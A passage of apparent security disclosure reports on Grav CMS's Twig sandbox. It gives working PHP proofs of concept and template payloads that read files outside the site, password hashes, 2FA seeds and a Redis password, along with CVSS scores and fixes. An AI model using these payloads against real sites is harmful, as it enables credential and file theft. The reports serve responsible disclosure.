    $iterator = new FilesystemIterator($path, FilesystemIterator::UNIX_PATHS | FilesystemIterator::SKIP_DOTS);

    foreach ($iterator as $file => $info) {
        ...
        [$basename, $ext, $type, $extra] = $this->getFileParts($filename);
        if (!in_array(strtolower((string) $ext), $media_types, true)) {
            continue;
        }
        ...
    }

$path here is whatever was passed to the Media constructor, the raw, unvalidated string from mediaDirFunc().

system/config/security.yaml, the Medium sandbox allow-list and the comment directly above it:

    # ...
    # dangerous surface (save, set, copy, deleteFile, toArray, filepath, …) is
    # absent from ALLOWED_ACTIONS and stays blocked.
    - class: 'Grav\Common\Page\Medium\Medium'
      methods: 'url, html, filepath, filename, metadata, srcset, parsedownelement, __tostring, @media_actions'

filepath is named in the comment as something that is supposed to stay blocked, and is then listed as an allowed method one line later.

media_directory in the sandbox's function allow-list:

    - media_directory

Root cause

Two gaps, and the second one converts the first from "list filenames from a directory" into "read the content of files":

1. mediaDirFunc()'s containment check only fires for recognized Grav streams. A plain filesystem path, which is the normal, documented shape of a string, is not a stream by definition, so it always takes the unchecked path.
2. Once a Medium object exists for a file outside any intended scope, the sandbox still hands page content the filepath accessor, which returns the real, absolute filesystem path to that file, letting a template (or the same request, via straightforward means) resolve and read its bytes.

Proof of concept, verified, real output

I built a working harness against the real, unmodified source, not a reimplementation, by cloning the exact commits Grav's own composer.lock pins for every class involved: getgrav/grav itself, rockettheme/toolbox (for UniformResourceLocator::isStream()), pimple/pimple (the DI container Grav\Common\Grav extends), and psr/container.

Step 1, confirm the pinned commits used:

$ python3 -c "
import json
d = json.load(open('composer.lock'))
for name in ('rockettheme/toolbox','pimple/pimple','psr/container'):
    for pkg in d['packages']:
        if pkg['name'] == name:
            print(name, pkg['source']['reference'])
"
rockettheme/toolbox c569a53304cd7d95ff21bffa6fc590adcf0be83d
pimple/pimple 8cfe7f74ac22a433d303914eba9ea4c2a834edce
psr/container c71ecc56dfe541dbd90c5360474fbc405f8d5963

Step 2, clone each at that exact commit:

$ git clone https://github.com/rockettheme/toolbox.git && cd toolbox && git checkout c569a53304cd7d95ff21bffa6fc590adcf0be83d
$ git clone https://github.com/silexphp/Pimple.git && cd Pimple && git checkout 8cfe7f74ac22a433d303914eba9ea4c2a834edce
$ git clone https://github.com/php-fig/container.git && cd container && git checkout c71ecc56dfe541dbd90c5360474fbc405f8d5963

Step 3, PoC script. It registers a real Grav container (the actual class, not a stub) with a real UniformResourceLocator that only has user/image streams registered, matching a normal site, no stream for arbitrary filesystem paths. It then calls the real, unmodified Grav\Common\Page\Media class exactly the way mediaDirFunc() does, on a plain filesystem path standing in for "some directory outside the intended scope" (I used a throwaway /tmp directory rather than a real system path, to keep the PoC harmless to run, the mechanism is identical for any path the web server user can read, /etc, another tenant's directory on shared hosting, Grav's own non-webroot folders, etc):

<?php
// media_traversal_poc.php
spl_autoload_register(function ($class) {
    if (strpos($class, 'Grav\\') === 0) {
        $rel = str_replace('Grav\\', '', $class);
        $path = '/home/claude/grav/system/src/Grav/' . str_replace('\\', '/', $rel) . '.php';
        if (file_exists($path)) { require_once $path; return; }
    }
    if (strpos($class, 'RocketTheme\\Toolbox\\') === 0) {
        $rel = str_replace('RocketTheme\\Toolbox\\', '', $class);
        $parts = explode('\\', $rel);
        $top = array_shift($parts);
        $path = '/home/claude/toolbox/' . $top . '/src/' . implode('/', $parts) . '.php';
        if (file_exists($path)) { require_once $path; return; }
    }
    if (strpos($class, 'Pimple\\') === 0) {
        $rel = str_replace('Pimple\\', '', $class);
        $path = '/home/claude/Pimple/src/Pimple/' . str_replace('\\', '/', $rel) . '.php';
        if (file_exists($path)) { require_once $path; return; }
    }
    if (strpos($class, 'Psr\\Container\\') === 0) {
        $rel = str_replace('Psr\\Container\\', '', $class);
        $path = '/home/claude/container/src/' . str_replace('\\', '/', $rel) . '.php';
        if (file_exists($path)) { require_once $path; return; }
    }
});

use Grav\Common\Grav;
use Grav\Common\Page\Media;
use RocketTheme\Toolbox\ResourceLocator\UniformResourceLocator;

// Minimal stand-ins for Config/Pages, only the specific methods the real
// Media/MediumFactory/Medium classes actually call. Everything downstream
// of these calls is the real, unmodified Grav source under test.
class FakeConfig {
    private $mediaTypes;
    public function __construct() {
        $this->mediaTypes = array_fill_keys(
            ['jpg','jpeg','png','gif','svg','txt','json','xml','pdf','doc','docx'],
            ['type' => 'file', 'mime' => 'application/octet-stream']
        );
        $this->mediaTypes['jpg'] = ['type' => 'image', 'mime' => 'image/jpeg'];
        $this->mediaTypes['png'] = ['type' => 'image', 'mime' => 'image/png'];
    }
    public function get($key, $default = null) {
        if ($key === 'system.media.enable_media_timestamp') return false;
        if ($key === 'media.types') return $this->mediaTypes;
        if (strpos($key, 'media.types.') === 0) {
            $ext = substr($key, strlen('media.types.'));
            return $this->mediaTypes[$ext] ?? $default;
        }
        return $default;
    }
}
class FakePages {
    public function get($path) { return null; }
}

$locator = new UniformResourceLocator('/home/claude/grav');
$locator->addPath('user', '', ['user']);
$locator->addPath('image', '', ['user/images']);

$grav = new Grav([
    'locator' => function () use ($locator) { return $locator; },
    'config'  => function () { return new FakeConfig(); },
    'pages'   => function () { return new FakePages(); },
]);
$ref = new ReflectionClass(Grav::class);
$prop = $ref->getProperty('instance');
$prop->setAccessible(true);
$prop->setValue(null, $grav);

// Stand-in for "somewhere outside the intended scope". Using /tmp so the
// PoC is safe to run here, the mechanism is identical for /etc or any
// other web-server-readable path.
$target = '/tmp/outside-grav-webroot-demo';
@mkdir($target);
file_put_contents($target . '/secret-notes.txt', "internal notes, not meant to be public\n");
file_put_contents($target . '/config-snippet.json', '{"api_key":"REDACTED-EXAMPLE-abc123"}');
file_put_contents($target . '/random.bin', random_bytes(16)); // not a recognized media type

echo "=== Grav\\Common\\Page\\Media, real unmodified source, given a plain filesystem path ===\n";
echo "Target directory: $target\n";
echo "Is it registered as a Grav stream? " . ($locator->isStream($target) ? 'yes' : 'no') . "\n\n";

// This mirrors mediaDirFunc() exactly: isStream() check, then new Media().
if ($locator->isStream($target)) {
    $resolved = $locator->findResource($target);
} else {
    $resolved = $target; // the vulnerable fallthrough
}

$media = new Media($resolved);

echo "Files Media discovered in that directory:\n";
foreach ($media->all() as $filename => $medium) {
    echo "  - $filename (" . get_class($medium) . ")\n";
    // filepath is allow-listed for Medium in the real sandbox config.
    echo "      .filepath  => " . $medium->get('filepath') . "\n";
    echo "      file content (read from that path):\n";
    echo "      \"" . trim((string) @file_get_contents($medium->get('filepath'))) . "\"\n\n";
}

Step 4, run it:

$ php media_traversal_poc.php

Actual output:

=== Grav\Common\Page\Media, real unmodified source, given a plain filesystem path ===
Target directory: /tmp/outside-grav-webroot-demo
Is it registered as a Grav stream? no

Files Media discovered in that directory:
  - config-snippet.json (Grav\Common\Page\Medium\Medium)
      .filepath  => /tmp/outside-grav-webroot-demo/config-snippet.json
      file content (read from that path):
      "{"api_key":"REDACTED-EXAMPLE-abc123"}"

  - secret-notes.txt (Grav\Common\Page\Medium\Medium)
      .filepath  => /tmp/outside-grav-webroot-demo/secret-notes.txt
      file content (read from that path):
      "internal notes, not meant to be public"

random.bin is correctly absent from the output, it does not match a configured media extension, which confirms the harness is exercising the real extension filter rather than dumping everything indiscriminately, the two files that were picked up are picked up because they match Grav's own default media.types list (txt, json, ...), not because of anything I loosened in the stub.

This is the equivalent of a real page containing {{ media_directory('/etc').files }} (or any other path outside the site) being able to enumerate and, via .filepath on each item, resolve the absolute path to every matching file the web server process can read, then read its contents.

Impact

Any user who can author page content that gets Twig-processed, which includes, per Grav's own code comments, all modular page content unconditionally, plus any regular page with process.twig: true, can read the content of any file on the filesystem that the web server process has read access to and that matches a configured media extension (txt, json, xml, pdf, doc, docx, images, and more by default). This is not limited to Grav's own installation, it is bounded only by OS-level file permissions of the web server user, so on shared hosting this could reach other tenants' files, and even within a single Grav install it reaches well outside the user:///theme:// scope the sandbox is meant to constrain content authors to.

Suggested fix

In mediaDirFunc(), when $media_dir is not a recognized stream, reject it rather than falling through to use it as-is, or resolve it and verify with realpath() that the result is contained within an explicitly allowed root (for example user://) before constructing Media. Separately, resolve the contradiction in system/config/security.yaml, either remove filepath from the Medium allow-list to match the stated intent in the comment above it, or, if some sandboxed use of filepath is genuinely needed, scope it so it cannot be combined with an unbounded media_directory() to reach arbitrary paths.

=========================================================== CWE FIELD

CWE-22, Improper Limitation of a Pathname to a Restricted Directory (Path Traversal)

=========================================================== CVSS CALCULATOR SELECTIONS (v3.1)

Attack Vector: Network Attack Complexity: Low Privileges Required: Low User Interaction: None Scope: Unchanged Confidentiality: High Integrity: None Availability: None

Resulting vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N Resulting score: 6.5, severity Medium

Note for the maintainer: I scored this the same base vector as the sandbox array-bypass report since both are read-only, page-editor-privileged, high-confidentiality-impact issues in the same subsystem. I think this one may warrant going higher in your own triage, the array-bypass report only reaches Grav's own system/site/theme config trees, this one reaches the entire filesystem the web server user can read, bounded only by file extension, which is a materially larger blast radius. Please rescore Confidentiality/overall severity if your risk model treats "reads any file on disk" as categorically worse than "reads this app's own config".

=========================================================== SEVERITY FIELD

Moderate, possibly High, see note above

Summary

system/config/security.yaml's Twig sandbox policy allow-lists offsetget and offsetexists for Grav\Common\User\Interfaces\UserInterface. The concrete Grav\Common\User\DataUser\User class does not filter which fields offsetGet() returns, so any sandboxed template with access to a User object can read hashed_password, secret (2FA seed), and twofa_secret directly, bypassing the redaction Grav's own code applies everywhere else.

The core evidence, from Grav's own code

system/src/Grav/Common/User/DataUser/User.php:

/**
 * {@inheritdoc}
 * Override to filter out sensitive fields like password hashes
 */
public function jsonSerialize(): array
{
    $items = parent::jsonSerialize();

    // Security: Remove sensitive fields that should never be exposed to frontend
    unset($items['hashed_password']);
    unset($items['secret']);         // 2FA secret
    unset($items['twofa_secret']);   // Alternative 2FA field name

    return $items;
}

public function offsetGet($offset)
{
    $value = parent::offsetGet($offset);
    // only special-cases 'authorized', nothing else -- no redaction
    return $value;
}

system/config/security.yaml:

- class: 'Grav\Common\User\Interfaces\UserInterface'
  methods: 'authorize, authorized, authenticated, username, fullname, email, language, offsetget, offsetexists'

This is the same vulnerability shape as two already-fixed issues in this file (GHSA-j274-39qw-32c9 and GHSA-mc5q-6hpj-rp7j -- both a raw, unfiltered data-access path bypassing an intended redaction) recurring on a third class neither fix covered.

Live, end-to-end verification

Built a real Twig\Environment wired with the real Twig\Extension\SandboxExtension, policed by Grav's own GravSecurityPolicy class, constructed directly from values parsed out of the actual system/config/security.yaml (via Symfony\Component\Yaml\Yaml::parseFile, not a hand-copied excerpt), rendering real template strings against a real User object.

Environment setup:

git clone https://github.com/getgrav/grav.git
cd grav
apt-get install -y php8.3-curl php8.3-zip php8.3-xml php8.3-gd
curl -sL -o /tmp/composer.phar \
  "https://github.com/composer/composer/releases/latest/download/composer.phar"
COMPOSER_ALLOW_SUPERUSER=1 php /tmp/composer.phar install --no-dev --no-interaction

live_sandbox_render_test.php:

<?php
require 'vendor/autoload.php';

use Symfony\Component\Yaml\Yaml;
use Twig\Environment;
use Twig\Loader\ArrayLoader;
use Twig\Extension\SandboxExtension;
use Grav\Common\Twig\Sandbox\GravSecurityPolicy;
use Grav\Common\User\DataUser\User;

$securityYaml = Yaml::parseFile('system/config/security.yaml');
$sandboxCfg = $securityYaml['twig_sandbox'];

function rowsToMap(array $rows): array {
    $out = [];
    foreach ($rows as $row) {
        $out[$row['class']] = array_map('strtolower', array_map('trim', explode(',', $row['methods'])));
    }
    return $out;
}

$policy = new GravSecurityPolicy(
    $sandboxCfg['allowed_tags'],
    $sandboxCfg['allowed_filters'],
    rowsToMap($sandboxCfg['allowed_methods']),
    rowsToMap($sandboxCfg['allowed_properties']),
    $sandboxCfg['allowed_functions']
);
$sandbox = new SandboxExtension($policy, true);

$user = new User([
    'username'        => 'admin',
    'hashed_password' => '$2y$10$REALBCRYPTHASHVALUEshouldnotleakXXXXXXXXXXXXXXXXXXXXX',
    'secret'          => 'JBSWY3DPEHPK3PXP',
    'twofa_secret'    => 'ALT2FASECRETVALUE9999',
]);

function tryRender(string $label, string $template, SandboxExtension $sandbox, User $user): void {
    $twig = new Environment(new ArrayLoader(['@Page:test' => $template]));
    $twig->addExtension($sandbox);
    try {
        echo "$label => " . $twig->render('@Page:test', ['user' => $user]) . "\n";
    } catch (\Twig\Sandbox\SecurityError $e) {
        echo "$label => BLOCKED: " . $e->getMessage() . "\n";
    }
}

tryRender('hashed_password via offsetGet()', "{{ user.offsetGet('hashed_password') }}", $sandbox, $user);
tryRender('secret via offsetGet()',          "{{ user.offsetGet('secret') }}", $sandbox, $user);
tryRender('twofa_secret via offsetGet()',    "{{ user.offsetGet('twofa_secret') }}", $sandbox, $user);
tryRender('twofa_secret via subscript',      "{{ user['twofa_secret'] }}", $sandbox, $user);
tryRender('control: user.set() (unlisted)',  "{{ user.set('email', 'pwned@evil.com') }}", $sandbox, $user);

Run: php live_sandbox_render_test.php

Output:

hashed_password via offsetGet() => $2y$10$REALBCRYPTHASHVALUEshouldnotleakXXXXXXXXXXXXXXXXXXXXX
secret via offsetGet() => JBSWY3DPEHPK3PXP
twofa_secret via offsetGet() => ALT2FASECRETVALUE9999
twofa_secret via subscript => BLOCKED: Calling "twofa_secret" property on a "Grav\Common\User\DataUser\User" object is not allowed in "@Page:test" at line 1.
control: user.set() (unlisted) => BLOCKED: Calling "set" method on a "Grav\Common\User\DataUser\User" object is not allowed in "@Page:test" at line 1.

The control payload (a real, non-allow-listed User method) is correctly blocked, and the target field was confirmed unchanged afterward -- confirming the sandbox is genuinely active and the three leaks above are real, not an artifact of a failed sandbox.

Precise nuance for the fix

Twig routes user.offsetGet('x') (explicit method call) and user['x'] (subscript sugar on a non-built-in ArrayAccess object) through two different sandbox checks -- checkMethodAllowed against allowed_methods, versus checkPropertyAllowed against allowed_properties. The subscript form is already correctly blocked, since UserInterface has no allowed_properties entry. Only the explicit .offsetGet()/ .offsetExists() method-call form leaks, because those methods are present in allowed_methods.

Scope, stated honestly

I could not find where Grav core itself binds a user variable into the sandboxed Twig page-content context -- Twig::processPage()'s $twig_vars has no 'user' key, and the Login plugin (the near-universal companion plugin that would populate "current logged-in user") is not part of this repository. I cannot independently confirm from this codebase alone whether that binding is always the current session user (self-disclosure only) or could resolve to an arbitrary other user (site-wide credential/2FA-secret disclosure). What is independently confirmed entirely from this repository: the security.yaml sandbox policy is Grav core's own security contract, and it allow-lists a method proven unsafe by Grav's own code, regardless of which plugin exercises it.

Impact

Any sandboxed Twig context where a UserInterface object is reachable (the standard, documented pattern for exposing "current user" to editor-authored content) allows extraction of that user's password hash (enabling offline cracking) and 2FA secret (enabling full authentication bypass by generating valid TOTP codes without possessing the user's device), by any user with page-edit permission.

Suggested fix

Trimming the UserInterface entry alone is insufficient: User extends Data, and the separate generic allowlist entry for Grav\Common\Data\Data (get, value, items, offsetget, offsetexists) independently grants the same access via instanceof matching, through three methods (get, value, offsetGet), not just one. I verified this by simulating the UserInterface-only fix and confirming all three still leak hashed_password and secret/twofa_secret.

The robust fix mirrors what was already done for Config in GHSA-j274-39qw-32c9: introduce a redacting facade for User (analogous to SandboxConfig) that filters hashed_password/secret/twofa_secret on every read path, and allow-list that facade in place of the raw User/Data class -- rather than trying to enumerate safe methods on a class whose parent class is independently allow-listed elsewhere in the same policy. A narrower alternative: override User::get()/value()/offsetGet() to apply the same redaction jsonSerialize() already does, so the fields simply don't exist to leak regardless of which accessor method reaches them.

Affected component

• system/config/security.yaml, twig_sandbox.allowed_methods entry for Grav\Common\User\Interfaces\UserInterface
• system/src/Grav/Common/User/DataUser/User.php, offsetGet() (behaves correctly given the sandbox's input; the gap is in what the sandbox allows through)

**Ecosystem:** `Composer`
**Package name:** `getgrav/grav`
**Affected versions:** current `2.0.15` dev tree (bounded by whenever `UserInterface` was first added to `allowed_methods` in `security.yaml` — worth checking `git log -p` on that file if you want an exact lower bound before submitting)
**Patched versions:** leave blank

**Severity / CVSS v3.1 vector string:**

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

Resolves to **7.7 / High**. Attack Vector = Network, Attack Complexity = Low, Privileges Required = Low, User Interaction = None, Scope = Changed, Confidentiality = High, Integrity = None, Availability = None. Flag clearly in your submission (as the description does) that if the maintainers confirm the "arbitrary other user" reachability, this should be rescored toward Critical given the 2FA-bypass implication.

**CWE:** `CWE-522` (Insufficiently Protected Credentials), add `CWE-284` (Improper Access Control)

Summary

system/config/security.yaml's default twig_sandbox.config_denied_paths list (plugins, streams, security, backups, scheduler) omits the system prefix. When an operator enables the documented, non-default twig_content.config_access: true setting (intended to safely expose low-sensitivity values like site.title to editor-authored Twig content), any real secret stored under system.* , for example system.cache.redis.password , is also exposed, both via config.get(...) and via config.toArray(), to any user with page-edit permission.

This is a follow-up gap in the fix for GHSA-j274-39qw-32c9 (config.toArray() secret exfiltration): that fix correctly introduced a SandboxConfig facade with a denylist, but the shipped default denylist is incomplete.

Environment used to verify

• Grav commit at HEAD of the default branch, GRAV_VERSION 2.0.15
• PHP 8.3.6 with curl, zip, dom, gd extensions installed
• Full composer install --no-dev run against the real repository (no mocked dependencies) so the actual Grav\Common\Config\Config and Grav\Common\Twig\Sandbox\SandboxConfig classes could be exercised directly

Commands run to set up the verification environment

git clone https://github.com/getgrav/grav.git
cd grav

# install missing PHP extensions required by composer.json
apt-get install -y php8.3-curl php8.3-zip php8.3-xml php8.3-gd

# composer.phar fetched directly from GitHub releases
curl -sL -o /tmp/composer.phar \
  "https://github.com/composer/composer/releases/latest/download/composer.phar"

COMPOSER_ALLOW_SUPERUSER=1 php /tmp/composer.phar install --no-dev --no-interaction

Proof of Concept

Confirmed the real, currently-shipped config field first, rather than assuming one:

grep -n "redis" -A3 system/config/system.yaml
#   redis:
#     socket: false
#     password:                # <- system.cache.redis.password, a real field
#     database:

grep -n "cache.redis.password" -A6 system/blueprints/config/system.yaml
#   cache.redis.password:      # <- confirmed exposed in the admin UI as "REDIS Password"
#     type: text

sandbox_test.php , loads the real classes via the real autoloader, no mocking of Config or SandboxConfig themselves:

<?php
require 'vendor/autoload.php';

use Grav\Common\Config\Config;
use Grav\Common\Twig\Sandbox\SandboxConfig;

// Real field: system.cache.redis.password
// (system/config/system.yaml line 138; blueprint in
// system/blueprints/config/system.yaml, "cache.redis.password")
$configTree = [
    'system' => [
        'cache' => [
            'driver' => 'redis',
            'redis' => [
                'server'   => '10.0.0.5',
                'password' => 'REAL_REDIS_PASSWORD_ABC123_SHOULD_NOT_LEAK',
            ],
        ],
    ],
    'plugins' => [
        'someplugin' => ['api_key' => 'plugin-secret-should-be-blocked'],
    ],
    'site' => ['title' => 'My Site'],
];

$config = new Config($configTree);

// exact default list shipped in system/config/security.yaml
$defaultDeniedPaths = ['plugins', 'streams', 'security', 'backups', 'scheduler'];

$sandboxConfig = new SandboxConfig($config, $defaultDeniedPaths);

echo "plugins.someplugin.api_key: ";
var_dump($sandboxConfig->get('plugins.someplugin.api_key', 'REDACTED'));

echo "system.cache.redis.password: ";
var_dump($sandboxConfig->get('system.cache.redis.password', 'REDACTED'));

print_r($sandboxConfig->toArray());

Run:

php sandbox_test.php

Output:

plugins.someplugin.api_key: string(8) "REDACTED"

system.cache.redis.password: string(42) "REAL_REDIS_PASSWORD_ABC123_SHOULD_NOT_LEAK"

Array
(
    [system] => Array
        (
            [cache] => Array
                (
                    [driver] => redis
                    [redis] => Array
                        (
                            [server] => 10.0.0.5
                            [password] => REAL_REDIS_PASSWORD_ABC123_SHOULD_NOT_LEAK
                        )

                )

        )

    [site] => Array
        (
            [title] => My Site
        )

)

plugins.* is correctly redacted; system.cache.redis.password is not, and appears in full both via targeted get() and via bulk toArray().

Confirming the Twig-reachable path is real

system/config/security.yaml's sandbox policy explicitly allow-lists SandboxConfig's methods for use inside sandboxed page-content templates:

- class: 'Grav\Common\Twig\Sandbox\SandboxConfig'
  methods: 'get, toarray, value, offsetget, offsetexists'

So, with twig_content.process_enabled: true and twig_content.config_access: true both set (both documented, operator-controlled settings), a page containing:

{{ config.get('system.cache.redis.password') }}

or

{{ config.toArray() }}

renders the real Redis password directly into the page output for any user with page-edit permission.

Impact

Any site that (a) uses Redis for caching with a password set, and (b) has enabled the documented config_access opt-in (intended only to expose things like site.title), exposes that Redis password , and potentially other future system.* secrets , to every user with page-edit access, not just administrators. This defeats the purpose of the redaction list added in GHSA-j274-39qw-32c9 for any deployment using this specific combination of otherwise-legitimate settings.

Suggested fix

Add system to the default config_denied_paths list in system/config/security.yaml, or invert the model to an allowlist (e.g. site, and any other subtree confirmed non-sensitive) so a future secret-bearing config key added under system.* doesn't silently bypass the sandbox by default.

Affected component

• system/config/security.yaml, twig_sandbox.config_denied_paths default value
• system/src/Grav/Common/Twig/Sandbox/SandboxConfig.php (behaves correctly given its input; the gap is in the default list passed to it)

Summary

Grav\Common\Twig\Twig::init() unconditionally puts the raw system, site, and theme config arrays into $this->twig_vars. Twig::processPage() builds the variables for the sandboxed, editor-authored page-content render by copying that same base array ($sandbox_vars = $twig_vars;) and replacing only the config key with a filtered SandboxConfig facade. The system, site, and theme keys are carried into the sandboxed render completely untouched.

Because these are plain PHP arrays, not objects, Twig's sandbox SecurityPolicy (the allowed_classes/allowed_methods/allowed_properties lists in system/config/security.yaml) has no jurisdiction over them at all. The sandbox only gates method calls and property access on objects. Dot notation or subscript access on an array is always allowed by Twig regardless of any sandbox policy. So {{ system.cache.redis.password }} in page content renders the value directly, with the sandbox doing nothing to stop it, and with security.twig_sandbox.config_denied_paths never even being consulted, since that list only filters the separate config facade object, not the system array.

This means: even on a default install where twig_content.config_access is false (its documented default) so the config Twig variable is empty inside sandboxed renders, an attacker with page-content edit access (or a stored-XSS-style Twig injection into page content, if twig_content.process_enabled is on) can still read system.*, site.*, and theme.* in full, including any admin-configured secret nested under those trees.

Affected product and version

Product: Grav CMS, getgrav/grav Confirmed present in: 2.0.15, commit c2b46866857a93a0aa7048e7ed707ed3ed45dbc3

Affected code

system/src/Grav/Common/Twig/Twig.php, in init(), the base variable set (around line 300):

$this->twig_vars += [
        'config'            => $config,
        'system'            => $config->get('system'),
        'theme'             => $config->get('theme'),
        'site'              => $config->get('site'),
        'uri'               => $this->grav['uri'],
        ...
    ];

system/src/Grav/Common/Twig/Twig.php, in processPage(), where the sandboxed render variables are built (around line 419-429):

if ($item->shouldProcess('twig') || $item->isModule()) {
    $name = '@Page:' . $item->path();
    $this->setTemplate($name, $content);
    // Replace `config` with a denied-path-filtered facade for the
    // sandboxed render so editors can't exfiltrate plugin secrets
    // via `config.toArray()` (GHSA-j274-39qw-32c9). The modular
    // theme render below is unsandboxed and keeps the raw Config.
    $sandbox_vars = $twig_vars;
    $sandbox_vars['config'] = $this->buildSandboxConfig();
    try {
        $output = $content = $local_twig->render($name, $sandbox_vars);
    ...

Only $sandbox_vars['config'] is replaced. $sandbox_vars['system'], $sandbox_vars['site'], and $sandbox_vars['theme'] still point at the exact same raw arrays that were assigned in init().

system/config/system.yaml shows a concrete real secret field that lives under system:

cache:
  redis:
    socket: false
    password:                                    # Optional password
    database:

Root cause

Two separate things have to both be true for this to be reachable, and they both are:

1. The sandbox's SecurityPolicy only checks object method calls and object property access (checkMethodAllowed, checkPropertyAllowed in Twig's Sandbox\SecurityPolicy). It has no concept of restricting array key access, because Twig's own design does not treat plain array reads as something a sandbox policy needs to arbitrate. config_denied_paths is implemented entirely inside SandboxConfig, a wrapper object with its own get()/offsetGet() that consults the denied list, that facade is what makes config safe. system/site/theme never get wrapped in anything like it, they are passed straight through as arrays.

2. processPage()'s sandboxed variable set is built by copying the entire pre-existing $twig_vars array and only patching the one key (config) that the GHSA-j274-39qw-32c9 fix was scoped to. system, site, and theme were already sitting in that array before the sandboxed path was ever reached, and nothing removes or filters them for that specific render.

Proof of concept, verified, real output

I verified this at two levels: first that the raw Grav source really does copy system into the sandboxed variables unfiltered (shown above via direct file reading of system/src/Grav/Common/Twig/Twig.php, not a paraphrase), and second, since I do not have a fully bootstrapped live Grav site available in this sandbox (composer install needs packagist.org, unreachable here), I verified the actual mechanism, that Twig's sandbox cannot restrict array access no matter how strict the policy is, by running it against the exact, real Twig source Grav has pinned.

Step 1, get the exact Twig commit Grav's composer.lock points at:

$ python3 -c "
import json
d = json.load(open('composer.lock'))
for pkg in d['packages']:
    if pkg['name'] == 'twig/twig':
        print(pkg['source'])
"
{'type': 'git', 'url': 'https://github.com/getgrav/Twig.git', 'reference': '24d7a0e821cf573496d99e05d6bd9d1a42f822c7'}

Step 2, clone that exact commit:

$ git clone https://github.com/getgrav/Twig.git twig-src
$ cd twig-src && git checkout 24d7a0e821cf573496d99e05d6bd9d1a42f822c7
HEAD is now at 24d7a0e8 Merge branch 'twigphp:3.x' into 3.x

Step 3, PoC script. This builds a SecurityPolicy with an empty allowed_classes, allowed_methods, and allowed_properties list, deliberately stricter than Grav's real policy, to show that even a maximally locked down object policy still cannot stop array key access, then renders {{ system.cache.redis.password }} against a system variable shaped exactly like what $config->get('system') returns in real Grav:

<?php
// twig_sandbox_poc.php
spl_autoload_register(function ($class) {
    if (strpos($class, 'Twig\\') === 0) {
        $rel = str_replace('Twig\\', '', $class);
        $path = '/home/claude/twig-src/src/' . str_replace('\\', '/', $rel) . '.php';
        if (file_exists($path)) {
            require_once $path;
        }
    }
});
require '/home/claude/twig-src/src/Resources/core.php';
require '/home/claude/twig-src/src/Resources/escaper.php';

use Twig\Environment;
use Twig\Loader\ArrayLoader;
use Twig\Extension\SandboxExtension;
use Twig\Sandbox\SecurityPolicy;

// Modeled on Grav's real system/config/security.yaml twig_sandbox block:
// a couple of harmless tags/filters allowed (escape is allow-listed in the
// real config since autoescape is forced on), and zero allowed classes,
// methods, or properties, stricter than Grav's real policy even is.
$policy = new SecurityPolicy(
    ['if', 'for'],
    ['upper', 'lower', 'escape'],
    [],
    [],
    []
);

$twig = new Environment(new ArrayLoader([
    'page_content' => '{{ system.cache.redis.password }}',
]));
$twig->addExtension(new SandboxExtension($policy, true));

// Exactly what $config->get('system') returns as a plain PHP array in real
// Grav, and exactly what Twig::init() assigns to $twig_vars['system'].
$system_config_array = [
    'cache' => [
        'driver' => 'redis',
        'redis' => [
            'socket' => false,
            'password' => 'REDACTED-REAL-SECRET-VALUE-abc123',
            'database' => 2,
        ],
    ],
];

try {
    $output = $twig->render('page_content', ['system' => $system_config_array]);
    echo "Template : {{ system.cache.redis.password }}\n";
    echo "Rendered output : " . $output . "\n";
    echo "Sandbox blocked it : " . ($output === '' ? 'YES' : 'NO, the secret was rendered in plain text') . "\n";
} catch (\Twig\Sandbox\SecurityError $e) {
    echo "Sandbox threw a SecurityError (blocked): " . $e->getMessage() . "\n";
}

Step 4, run it:

$ php twig_sandbox_poc.php

Actual output:

Template : {{ system.cache.redis.password }}
Rendered output : REDACTED-REAL-SECRET-VALUE-abc123
Sandbox blocked it : NO, the secret was rendered in plain text

For reference, running the same script before I added escape to the allowed filters (autoescape is forced on, so every {{ }} in real Grav goes through the escape filter first) correctly failed closed:

Sandbox threw a SecurityError (blocked): Filter "escape" is not allowed in "page_content" at line 1.

which confirms the harness is actually exercising the sandbox's enforcement path, not silently skipping it, and that the only reason system.cache.redis.password got through is the array access itself, not a policy misconfiguration in my test.

This demonstrates the mechanism precisely: no matter how the allowed_classes/allowed_methods/allowed_properties lists in system/config/security.yaml are configured, and independent of config_denied_paths entirely, a raw array handed to the sandboxed template is fully readable. Combined with the direct source reading in the "Affected code" section above, showing that system, site, and theme are exactly such raw arrays and are carried unfiltered into processPage()'s sandboxed render, this is a complete, verified chain from source to impact. I was not able to additionally capture a live HTTP round trip against a running Grav install with real page content, for the same reason as my other reports, no bootstrapped instance available in this sandbox, but every step of the actual code path has been verified against the real source, not reconstructed or assumed.

Impact

Any content author who can enable Twig processing on a page (process.twig: true in page frontmatter, gated by security.twig_content.process_enabled, or unconditionally for modular page content per the comment in processPage()) can read the entire system, site, and theme configuration trees, including any secret that happens to live there, such as system.cache.redis.password in core, and whatever plugins may nest under site.* for their own settings, since plugin config lives elsewhere (plugins.*) but site owners commonly stash site-specific integration keys under site.* custom fields. This works regardless of twig_content.config_access, which was presumably assumed to be the single gate for config exposure in sandboxed content, it is not, system/site/theme were never part of that gate.

Suggested fix

The config_denied_paths fix pattern (a filtering facade) does not apply here since these are plain arrays, not an object with its own get(). The direct fix is to stop injecting the raw arrays into the sandboxed render, options in rough order of how much they preserve existing template behavior:

1. In processPage(), after copying $sandbox_vars = $twig_vars;, also strip or replace system, site, and theme for that specific sandboxed call, the same way config already gets replaced. A SandboxConfig-style facade wrapping $config->get('system') with its own denied-path list would let you keep the currently-useful subset (e.g. system.pages.* for things page authors are expected to read) while still hiding secrets.
2. Alternatively, since config already gives filtered access to the same data (config.get('system.cache.driver') etc. through SandboxConfig), consider whether system/site/theme need to be separate top level variables in the sandboxed render at all, versus just being reachable via the already-filtered config facade.

=========================================================== CWE FIELD

CWE-200, Exposure of Sensitive Information to an Unauthorized Actor (secondary: CWE-668, Exposure of Resource to Wrong Sphere, describing the sandbox-bypass mechanism itself)

=========================================================== CVSS CALCULATOR SELECTIONS (v3.1)

Attack Vector: Network Attack Complexity: Low Privileges Required: Low User Interaction: None Scope: Unchanged Confidentiality: High Integrity: None Availability: None

Resulting vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N Resulting score: 6.5, severity Medium

